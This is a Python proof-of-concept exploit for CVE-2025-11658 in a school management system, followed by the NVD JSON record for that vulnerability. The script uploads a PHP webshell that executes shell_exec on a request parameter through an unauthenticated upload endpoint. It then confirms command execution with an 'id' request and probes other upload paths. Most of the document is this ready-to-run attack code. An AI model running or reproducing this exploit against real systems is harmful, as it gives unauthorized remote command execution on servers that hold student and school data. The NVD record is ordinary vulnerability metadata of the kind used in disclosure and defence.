CVE-2025-11658

#!/usr/bin/env python3 # CVE-2025-11658 - School Management System Unrestricted File Upload PoC # Vulnerability: Unrestricted file upload in /assets/changeSllyabus.php # The File parameter does not validate file type/extension, allowing arbitrary file upload import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" UPLOAD_PATH = "/assets/changeSllyabus.php" SHELL_PATH = "/assets/" # Malicious PHP webshell payload PHP_SHELL = b"""<?php // CVE-2025-11658 PoC - Webshell if(isset($_REQUEST['cmd'])){ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>""" def exploit(target_url): upload_url = target_url.rstrip('/') + UPLOAD_PATH # Prepare the malicious file for upload files = { "File": ("shell.php", PHP_SHELL, "application/x-php") } print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious PHP shell to: {upload_url}") try: # Send the upload request - no authentication required response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] Upload request sent successfully (HTTP {response.status_code})") shell_url = target_url.rstrip('/') + SHELL_PATH + "shell.php" print(f"[*] Attempting to access uploaded shell at: {shell_url}") # Verify the shell is accessible shell_check = requests.get(shell_url + "?cmd=id", timeout=10) if shell_check.status_code == 200 and ("uid=" in shell_check.text or "www-data" in shell_check.text): print(f"[+] SUCCESS! Shell is accessible at: {shell_url}") print(f"[+] Command execution confirmed: {shell_check.text.strip()}") return True else: print(f"[-] Shell uploaded but not accessible (HTTP {shell_check.status_code})") # Try alternative paths for path in ["/assets/uploads/shell.php", "/uploads/shell.php", "/shell.php"]: alt_url = target_url.rstrip('/') + path alt_check = requests.get(alt_url + "?cmd=id", timeout=10) if alt_check.status_code == 200 and "uid=" in alt_check.text: print(f"[+] Shell found at alternative path: {alt_url}") return True else: print(f"[-] Upload failed (HTTP {response.status_code})") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if exploit(TARGET_URL): print("\n[!] Exploitation successful - server is vulnerable to CVE-2025-11658") else: print("\n[-] Exploitation failed or target is not vulnerable")

{"cve": {"id": "CVE-2025-11658", "sourceIdentifier": "[email protected]", "published": "2025-10-13T04:15:47.053", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in ProjectsAndPrograms School Management System up to 6b6fae5426044f89c08d0dd101c7fa71f9042a59. Affected is an unknown function of the file /assets/changeSllyabus.php. The manipulation of the argument File results in unrestricted upload. The attack may be launched remotely. The exploit is now public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oranbyte:school_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "8F87971A-DCBD-45DE-AAD5-1C55D4E81268"}]}]}], "references": [{"url": "https://github.com/qqy-123/cve/issues/3", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.328075", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.328075", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665605", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/qqy-123/cve/issues/3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}